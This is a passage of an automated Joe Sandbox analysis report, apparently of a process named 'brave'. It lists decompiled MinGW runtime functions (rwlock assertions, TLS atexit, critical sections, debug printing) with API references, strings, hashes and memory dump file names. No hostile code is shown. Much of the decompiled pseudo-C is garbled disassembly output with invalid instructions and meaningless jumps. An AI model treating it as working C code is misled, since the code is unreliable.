0x7ff77bef78e2
0x7ff77bef78e9
0x7ff77bef78f7
0x7ff77bef7905
0x7ff77bef790e
0x7ff77bef7912
0x7ff77bef7918
0x7ff77bef7922
0x7ff77bef792b
0x7ff77bef7932
0x7ff77bef7942

Strings

., xrefs: 00007FF77BEF79B4
Assertion failed: (%s), file %s, line %d, xrefs: 00007FF77BEF79CD
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 00007FF77BEF79C3
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 00007FF77BEF79BC

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: (((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$.$Assertion failed: (%s), file %s, line %d$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c
API String ID: 0-3957588491
Opcode ID: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction ID: a687804b3eb033d5eb33c714e533b0ba3d6a91fbb1527c6bedb89047d270ddb5
Opcode Fuzzy Hash: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction Fuzzy Hash: 75315D33A3978688EB90AB19E4103B8A7A0FB48B44FC54175EA4D473A5DF7CB445C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEF130 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E00007FF77FF77BEEF130(void* __ecx, void* __eflags, char* __rax, void* __rdx, void* __r8) {
				long long __rbx;
				long long __rdi;
				long long __rsi;
				void* _t6;
				void* _t9;
				intOrPtr _t16;
				struct _CRITICAL_SECTION* _t19;
				void* _t25;
				void* _t27;
				void* _t29;

				asm("lodsb");
				if (__eflags > 0) goto 0x7beef15d;
				 *((intOrPtr*)(__rax - 0x77)) =  *((intOrPtr*)(__rax - 0x77)) + __ecx;
				asm("sbb eax, 0x2b2065");
				if ( *__rax != 0) goto 0x7beef016;
				_t6 = E00007FF77FF77BF01B50(_t9, 0x7ff77beeef50);
				goto 0x7beef016;
				asm("o16 nop [cs:eax+eax]");
				_t16 =  *0x7c1a11b0; // 0x0
				if (_t16 == 0) goto 0x7beef200;
				if (__r8 == 0) goto 0x7beef1a5;
				if (__r8 == 0x7c1a11a0) goto 0x7beef1a5;
				r8d = 0x2b;
				0x7bf01790();
				return _t6 + bpl;
				__eflags = 0x7c1a11a0;
				if (0x7c1a11a0 == 0) goto 0x7beef200;
				 *0x7c1a11a0 = __rdi;
				__rcx = 0x7c1a11c0;
				 *((long long*)(__rax + 8)) = __rsi;
				EnterCriticalSection(_t29 - 0x20);
				__rax =  *0x7c1a11a8; // 0x0
				__rcx = 0x7c1a11c0;
				 *0x7c1a11a8 = __rbx;
				 *((long long*)(__rbx + 0x10)) = __rax;
				LeaveCriticalSection(_t19);
				__rax = 0;
				__eflags = 0;
				__rbx = _t27;
				__rsi = _t25;
				_pop(__rdi);
				return __eax;
			}

0x7ff77beef130
0x7ff77beef131
0x7ff77beef133
0x7ff77beef136
0x7ff77beef13e
0x7ff77beef14b
0x7ff77beef150
0x7ff77beef155
0x7ff77beef167
0x7ff77beef175
0x7ff77beef17e
0x7ff77beef18a
0x7ff77beef18c
0x7ff77beef1a0
0x7ff77beef1b6
0x7ff77beef1b7
0x7ff77beef1ba
0x7ff77beef1bc
0x7ff77beef1bf
0x7ff77beef1c6
0x7ff77beef1ca
0x7ff77beef1d0
0x7ff77beef1d7
0x7ff77beef1de
0x7ff77beef1e5
0x7ff77beef1e9
0x7ff77beef1ef
0x7ff77beef1ef
0x7ff77beef1f5
0x7ff77beef1f6
0x7ff77beef1f7
0x7ff77beef1f8

APIs

_assert.MSVCRT ref: 00007FF77BEEF1A0
calloc.MSVCRT ref: 00007FF77BEEF1AF
EnterCriticalSection.KERNEL32 ref: 00007FF77BEEF1CA
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEEF1E9

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF77BEEF199
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF77BEEF192

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave_assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 4191840866-4180103562
Opcode ID: 89d225980ee264ff5e357f890741bd0a0885e460cb129bedeac4b07323f812ca
Instruction ID: 87efc90d7289f07127eb7cdc273f9c8086c676281f54be49023aca9c60bf23af
Opcode Fuzzy Hash: 89d225980ee264ff5e357f890741bd0a0885e460cb129bedeac4b07323f812ca
Instruction Fuzzy Hash: 0F2162B7E3DA4685FB01BB64F8502B8A6D0AF49790FC90130D90C473A9EE6CA985C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF9F30 Relevance: 10.5, APIs: 7, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEF9F30(void* __edx, void* __rcx, void* __r8) {

				r12d = __edx;
				if (__r8 == 0) goto 0x7bef9fa1;
				if (__rcx != 0) goto 0x7bef9f60;
				if (r12d != 0) goto 0x7bef9f8d;
				return r12d;
			}

0x7ff77bef9f3a
0x7ff77bef9f40
0x7ff77bef9f45
0x7ff77bef9f4a
0x7ff77bef9f56

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF77BEF9F60
OpenProcess.KERNEL32 ref: 00007FF77BEF9F77
CloseHandle.KERNEL32 ref: 00007FF77BEF9F85
_errno.MSVCRT ref: 00007FF77BEF9FA1

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen_errno
String ID:
API String ID: 2250453136-0
Opcode ID: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
Instruction ID: 16cdfbbd82354a0a9e474b1e5866bdd8c7474e8fe3245c580510f6feec8aafad
Opcode Fuzzy Hash: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
Instruction Fuzzy Hash: EA01617793C6078AEBA53F99A844138A190BF48B64FD85674CA2E053E4DFAC7444D330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF8980 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF89A0
fprintf.MSVCRT ref: 00007FF77BEF89BF
GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF89D5
fprintf.MSVCRT ref: 00007FF77BEF89FC

Strings

C%p %d V=%0X w=%ld %s, xrefs: 00007FF77BEF89E3
C%p %d %s, xrefs: 00007FF77BEF89AE

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CurrentThreadfprintf
String ID: C%p %d %s$C%p %d V=%0X w=%ld %s
API String ID: 1384477639-884133013
Opcode ID: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction ID: 8049888e747489ca17c203ddac40d9d6cb1faadfc3b0bd234dd49ed9c5ded5fa
Opcode Fuzzy Hash: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction Fuzzy Hash: 4901A1B7A38746C9EB11AB29F8400A8B7A4BB49BD4F888131DD4C53754EE3CE041C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEF160 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF77BEEF1A0
calloc.MSVCRT ref: 00007FF77BEEF1AF
EnterCriticalSection.KERNEL32 ref: 00007FF77BEEF1CA
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEEF1E9

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF77BEEF199
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF77BEEF192

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave_assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 4191840866-4180103562
Opcode ID: f75f473cc27cf5f1c1fc51378073b3bce385c5a3abcb57c2d3be634da1e2c61d
Instruction ID: 9beb97710a2e8e6b4f1b1f1961610cb4f3d4d68f890279c13430d600b47de980
Opcode Fuzzy Hash: f75f473cc27cf5f1c1fc51378073b3bce385c5a3abcb57c2d3be634da1e2c61d
Instruction Fuzzy Hash: 6B0165B7A38B4794FB10AB64F8401B8A2E1AF4D780FD94030D90C473A9EE2CE985C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEECDF0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00007FF77FF77BEECDF0(void* __rax, void* __rcx, intOrPtr* __r8) {
				signed char _t13;
				intOrPtr _t26;
				void* _t38;
				signed long long _t42;

				if (__r8 == 0) goto 0x7beece93;
				r13d = 1;
				goto 0x7beece89;
				_t26 =  *((intOrPtr*)(__r8 + 0x10));
				if (_t26 != 0) goto 0x7beece81;
				if (_t38 != 0) goto 0x7beece45;
				if (_t26 - 0x1c - 0x34 > 0) goto 0x7beece45;
				if ((_t42 << _t13 & 0x0000001f) != 0) goto 0x7beece81;
				 *((long long*)(__r8 + 0x10)) = 1;
				 *((long long*)(__rcx + 0x120)) =  *((intOrPtr*)(__r8 + 0x18));
				if (_t26 == 0x29) goto 0x7beecea0;
				if (_t26 == 0x2a) goto 0x7beecec4;
				if (_t26 == 2) goto 0x7beecee8;
				asm("push es");
				asm("repne invalid");
				if ( *__r8 == 0) goto 0x7beece93;
				if ( *((intOrPtr*)(__rcx + 0x130)) == 0) goto 0x7beece20;
				return  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8))));
			}

0x7ff77beece08
0x7ff77beece18
0x7ff77beece1e
0x7ff77beece20
0x7ff77beece25
0x7ff77beece30
0x7ff77beece38
0x7ff77beece43
0x7ff77beece49
0x7ff77beece57
0x7ff77beece61
0x7ff77beece66
0x7ff77beece6b
0x7ff77beece76
0x7ff77beece77
0x7ff77beece87
0x7ff77beece91
0x7ff77beece9f

Strings

{, xrefs: 00007FF77BEECFF2
}, xrefs: 00007FF77BEED0F0
:, xrefs: 00007FF77BEECF06
}::, xrefs: 00007FF77BEED0E9
default arg#, xrefs: 00007FF77BEECFEB

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: :$default arg#${$}$}::
API String ID: 0-1396675520
Opcode ID: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction ID: 3cd4faf2d12663b2b025548128e574d182c174bda93d541eae61eb8365176d4a
Opcode Fuzzy Hash: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction Fuzzy Hash: B891FB73A286C686F7699B69A4003FEA391FB04794F884031DF9A07759DFBDE491D310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEF6C0 Relevance: 9.0, APIs: 6, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEEF6C0(void* __rcx) {
				long _t1;
				void* _t3;

				_t1 = GetLastError();
				if (_t3 != 0) goto 0x7beef6e0;
				return _t1;
			}

0x7ff77beef6ca
0x7ff77beef6d2
0x7ff77beef6db

APIs

GetLastError.KERNEL32 ref: 00007FF77BEEF6CA
FormatMessageA.KERNEL32 ref: 00007FF77BEEF70B
IsDebuggerPresent.KERNEL32 ref: 00007FF77BEEF715

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID:
API String ID: 2392558662-0
Opcode ID: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction ID: ed7bb22f1cb01b96e4ac01aa44062face253bae4808c2038bc8018ce6d5152d7
Opcode Fuzzy Hash: 45af6df8f3c1be2e0205f91125e02e1abf725a7bbf325bdbd81304aa25dfb69b
Instruction Fuzzy Hash: 100162B3A3860282F754AB55B85836DA2A0BB88B84FD80134DA4D92774EF7DD5458750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF7A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF7A70
GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF7A9D
printf.MSVCRT ref: 00007FF77BEF7AD5

Strings

RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s, xrefs: 00007FF77BEF7AAB
RWL%p %d %s, xrefs: 00007FF77BEF7A7C

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CurrentThread$printf
String ID: RWL%p %d %s$RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s
API String ID: 2165381015-1971217749
Opcode ID: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction ID: 821fe1d1040d0e4d45d259e7f9dcead069f51b261b676533749f052f5f270965
Opcode Fuzzy Hash: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction Fuzzy Hash: DF018477638A4585E751AF19F840769B6A0BB48F94F994030EE0D43754EF3CD545C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF8E10 Relevance: 7.7, APIs: 5, Instructions: 186
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00007FF77FF77BEF8E10(void* __edx, intOrPtr* __rax, void* __rcx, void* __r9) {
				long long _v48;
				void* _v56;
				signed char _t22;
				void* _t23;
				intOrPtr* _t35;
				intOrPtr* _t39;
				intOrPtr* _t41;

				_t35 = __rax;
				_t41 = _t39;
				r12d = r8d;
				if (_t39 == 1) goto 0x7bef8e90;
				_v56 = __rcx;
				E00007FF77FF77BEF5420(__rax);
				_v48 = _t35;
				if (_t35 == 0) goto 0x7bef8f20;
				r8d = 0;
				r9d = r12d;
				_t40 =  &_v56;
				asm("invalid");
				 *_t35 =  *_t35;
				 *_t41 =  *_t41 + _t23;
				if (( *0xf2ef8e66 & _t22) >= 0) goto 0x7bef8deb;
				 *(_t41 +  &_v56 * 2 - 0x7d) =  *(_t41 +  &_v56 * 2 - 0x7d) << 0xf8;
				 *_t41 =  *_t41 + 0x2;
				 *_t35 =  *_t35 + _t35;
				 *((intOrPtr*)(_t35 - 0x75)) =  *((intOrPtr*)(_t35 - 0x75)) + _t23;
				ResetEvent(??);
				if (_t41 != 2) goto 0x7bef90c9;
				E00007FF77FF77BEF58E0(_t23, _t35, _t40);
				goto 0x7bef8e45;
				E00007FF77FF77BEF74C0(r8d, _t35, 0x2, _t40);
				if (_t35 == 0x80) goto 0x7bef905d;
				if (_t35 == 0x102) goto 0x7bef9058;
				r12d = 0x16;
				if (_t35 != 0) goto 0x7bef8ec3;
				r12d = 0;
				return r12d;
			}

0x7ff77bef8e10
0x7ff77bef8e1e
0x7ff77bef8e20
0x7ff77bef8e26
0x7ff77bef8e28
0x7ff77bef8e32
0x7ff77bef8e37
0x7ff77bef8e3f
0x7ff77bef8e45
0x7ff77bef8e48
0x7ff77bef8e4b
0x7ff77bef8e57
0x7ff77bef8e59
0x7ff77bef8e5c
0x7ff77bef8e64
0x7ff77bef8e66
0x7ff77bef8e6b
0x7ff77bef8e6f
0x7ff77bef8e71
0x7ff77bef8e77
0x7ff77bef8e80
0x7ff77bef8e86
0x7ff77bef8e8b
0x7ff77bef8e93
0x7ff77bef8e9d
0x7ff77bef8ea8
0x7ff77bef8eae
0x7ff77bef8eb6
0x7ff77bef8ec0
0x7ff77bef8ed1

APIs

Part of subcall function 00007FF77BEF7560: WaitForMultipleObjects.KERNEL32 ref: 00007FF77BEF75D4

ResetEvent.KERNEL32 ref: 00007FF77BEF8E77
WaitForSingleObject.KERNEL32 ref: 00007FF77BEF8EF0

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Wait$EventMultipleObjectObjectsResetSingle
String ID:
API String ID: 256776027-0
Opcode ID: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction ID: 3bb826ad64dddd4c22b084a8f6a51a81f59e04e6bd32ae159310bcbb5c78ae12
Opcode Fuzzy Hash: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction Fuzzy Hash: 05511837E3800289FAE4762E980977AC0926F95794FD44431DE4E927F9EEECF941D221

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0EC70 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF77BF0EC82
memcpy.MSVCRT ref: 00007FF77BF0ECD4
memcpy.MSVCRT ref: 00007FF77BF0ED90

Strings

basic_string::append, xrefs: 00007FF77BF0ED2A, 00007FF77BF0EDE8

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

